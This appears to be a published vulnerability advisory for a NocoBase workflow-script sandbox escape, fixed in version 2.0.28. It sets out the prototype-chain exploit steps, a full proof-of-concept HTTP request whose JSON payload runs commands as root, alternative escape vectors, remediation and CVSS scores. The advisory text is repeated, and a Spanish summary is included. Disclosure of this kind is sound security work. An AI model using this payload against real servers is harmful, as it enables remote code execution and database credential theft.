NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.28,…
GitHub_M·CWE-913·Published 2026-03-30
NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.28, NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution as root. This issue has been patched in version 2.0.28.
NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.28, NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution as root. This issue has been patched in version 2.0.28.
`##` Summary NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js `vm` sandbox with a custom `require` allowlist (controlled by `WORKFLOW_SCRIPT_MODULES` env var). However, the `console` object passed into the sandbox context exposes host-realm `WritableWorkerStdio` stream objects via `console._stdout` and `console._stderr`. An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root. ## Exploit Chain 1. `console._stdout.constructor.constructor` → host-realm `Function` constructor 2. `Function('return process')()` → Node.js `process` object 3. `process.mainModule.require('child_process')` → unrestricted module loading 4. `child_process.execSync('id')` → RCE as root This completely bypasses the `customRequire` allowlist. ## Impact - Remote Code Execution as root (uid=0) inside Docker container - Database credential theft (`DB_PASSWORD`, `INIT_ROOT_PASSWORD` from `process.env`) - Arbitrary file read/write via `require('fs')` - Reverse shell confirmed - Outbound network access for lateral movement ## Proof of Concept **HTTP Request:** POST /api/flow_nodes:test Authorization: Bearer <JWT_TOKEN> Content-Type: application/json { "type": "script", "config": { "content": "const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();", "timeout": 5000, "arguments": [] } } **Response:** {"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}} ## Environment - Docker image: `nocobase/nocobase:latest` - NocoBase CLI: v2.0.26 - Node.js: v20.20.1 - OS: Debian GNU/Linux 12 (bookworm) ## PoC Got reverse shell <img width="1300" height="743" alt="Screenshot 2026-03-26 at 06 09 51" src="https://github.com/user-attachments/assets/fcb65346-2d98-485a-a849-153d5957c78e" /> Proof of concept the root privileges <img width="1292" height="515" alt="Screenshot 2026-03-26 at 06 12 29" src="https://github.com/user-attachments/assets/599cd915-d5e9-47b6-9ddb-655ae4f22d50" /> os-release demonstration <img width="1290" height="523" alt="Screenshot 2026-03-26 at 06 12 54" src="https://github.com/user-attachments/assets/48030450-f2b1-4edc-a7f0-caafbf55dd00" /> <img width="1296" height="516" alt="image" src="https://github.com/user-attachments/assets/f7012c09-885b-48fb-a6d4-7282c0326d0b" /> App path <img width="1295" height="516" alt="Screenshot 2026-03-26 at 06 14 04" src="https://github.com/user-attachments/assets/b4846af8-cb10-4c2a-886f-b19a120c2245" /> ## Exploit Usage: Reverse Shell Mode <img width="1299" height="523" alt="tool1" src="https://github.com/user-attachments/assets/6c26d6f3-0ad2-4a61-9692-b150409ee569" /> Dump system information & creds <img width="635" height="591" alt="tool2" src="https://github.com/user-attachments/assets/08dbc231-d686-4536-8a74-272ceb5c10a8" /> Remote Command Execution Mode <img width="644" height="467" alt="tool3" src="https://github.com/user-attachments/assets/fc95d89b-eff5-4eec-87b4-f6022778feec" /> ## Remediation 1. Replace Node.js `vm` module with `isolated-vm` for true V8 isolate separation 2. Do not pass the host `console` object into the sandbox; create a clean proxy 3. Run the application as a non-root user inside Docker 4. Restrict `/api/flow_nodes:test` to admin-only roles ## Alternative Escape Vectors - `console._stderr.constructor.constructor` (identical chain via stderr) - `Error.prepareStackTrace` + `CallSite.getThis()` (V8 CallSite API) ## Reporter Onurcan Genç — Independent Security Researcher, Bilkent University
`##` Summary NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js `vm` sandbox with a custom `require` allowlist (controlled by `WORKFLOW_SCRIPT_MODULES` env var). However, the `console` object passed into the sandbox context exposes host-realm `WritableWorkerStdio` stream objects via `console._stdout` and `console._stderr`. An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root. ## Exploit Chain 1. `console._stdout.constructor.constructor` → host-realm `Function` constructor 2. `Function('return process')()` → Node.js `process` object 3. `process.mainModule.require('child_process')` → unrestricted module loading 4. `child_process.execSync('id')` → RCE as root This completely bypasses the `customRequire` allowlist. ## Impact - Remote Code Execution as root (uid=0) inside Docker container - Database credential theft (`DB_PASSWORD`, `INIT_ROOT_PASSWORD` from `process.env`) - Arbitrary file read/write via `require('fs')` - Reverse shell confirmed - Outbound network access for lateral movement ## Proof of Concept **HTTP Request:** POST /api/flow_nodes:test Authorization: Bearer <JWT_TOKEN> Content-Type: application/json { "type": "script", "config": { "content": "const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();", "timeout": 5000, "arguments": [] } } **Response:** {"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}} ## Environment - Docker image: `nocobase/nocobase:latest` - NocoBase CLI: v2.0.26 - Node.js: v20.20.1 - OS: Debian GNU/Linux 12 (bookworm) ## PoC Got reverse shell <img width="1300" height="743" alt="Screenshot 2026-03-26 at 06 09 51" src="https://github.com/user-attachments/assets/fcb65346-2d98-485a-a849-153d5957c78e" /> Proof of concept the root privileges <img width="1292" height="515" alt="Screenshot 2026-03-26 at 06 12 29" src="https://github.com/user-attachments/assets/599cd915-d5e9-47b6-9ddb-655ae4f22d50" /> os-release demonstration <img width="1290" height="523" alt="Screenshot 2026-03-26 at 06 12 54" src="https://github.com/user-attachments/assets/48030450-f2b1-4edc-a7f0-caafbf55dd00" /> <img width="1296" height="516" alt="image" src="https://github.com/user-attachments/assets/f7012c09-885b-48fb-a6d4-7282c0326d0b" /> App path <img width="1295" height="516" alt="Screenshot 2026-03-26 at 06 14 04" src="https://github.com/user-attachments/assets/b4846af8-cb10-4c2a-886f-b19a120c2245" /> ## Exploit Usage: Reverse Shell Mode <img width="1299" height="523" alt="tool1" src="https://github.com/user-attachments/assets/6c26d6f3-0ad2-4a61-9692-b150409ee569" /> Dump system information & creds <img width="635" height="591" alt="tool2" src="https://github.com/user-attachments/assets/08dbc231-d686-4536-8a74-272ceb5c10a8" /> Remote Command Execution Mode <img width="644" height="467" alt="tool3" src="https://github.com/user-attachments/assets/fc95d89b-eff5-4eec-87b4-f6022778feec" /> ## Remediation 1. Replace Node.js `vm` module with `isolated-vm` for true V8 isolate separation 2. Do not pass the host `console` object into the sandbox; create a clean proxy 3. Run the application as a non-root user inside Docker 4. Restrict `/api/flow_nodes:test` to admin-only roles ## Alternative Escape Vectors - `console._stderr.constructor.constructor` (identical chain via stderr) - `Error.prepareStackTrace` + `CallSite.getThis()` (V8 CallSite API) ## Reporter Onurcan Genç — Independent Security Researcher, Bilkent University
NocoBase es una plataforma no-code/low-code impulsada por IA para construir aplicaciones de negocio y soluciones empresariales. Antes de la versión 2.0.28, el Nodo de Script de Flujo de Trabajo de NocoBase ejecuta JavaScript proporcionado por el usuario dentro de una sandbox vm de Node.js con una lista de permitidos de 'require' personalizada (controlada por la variable de entorno WORKFLOW_SCRIPT_MODULES). Sin embargo, el objeto 'console' pasado al contexto de la sandbox expone objetos de flujo 'WritableWorkerStdio' del ámbito del host a través de 'console._stdout' y 'console._stderr'. Un atacante autenticado puede recorrer la cadena de prototipos para escapar de la sandbox y lograr la ejecución remota de código como 'root'. Este problema ha sido parcheado en la versión 2.0.28.
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 3.1 | Primary | cve.org | 10.0 | — | — | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 3.1 | Primary | cve.org | 10.0 | — | — | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 3.1 | Primary | NVD | 9.9 | 3.1 | 6.0 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 3.1 | Secondary | GHSA | 9.9 | — | — | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 3.1 | Secondary | NVD | 9.9 | 3.1 | 6.0 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |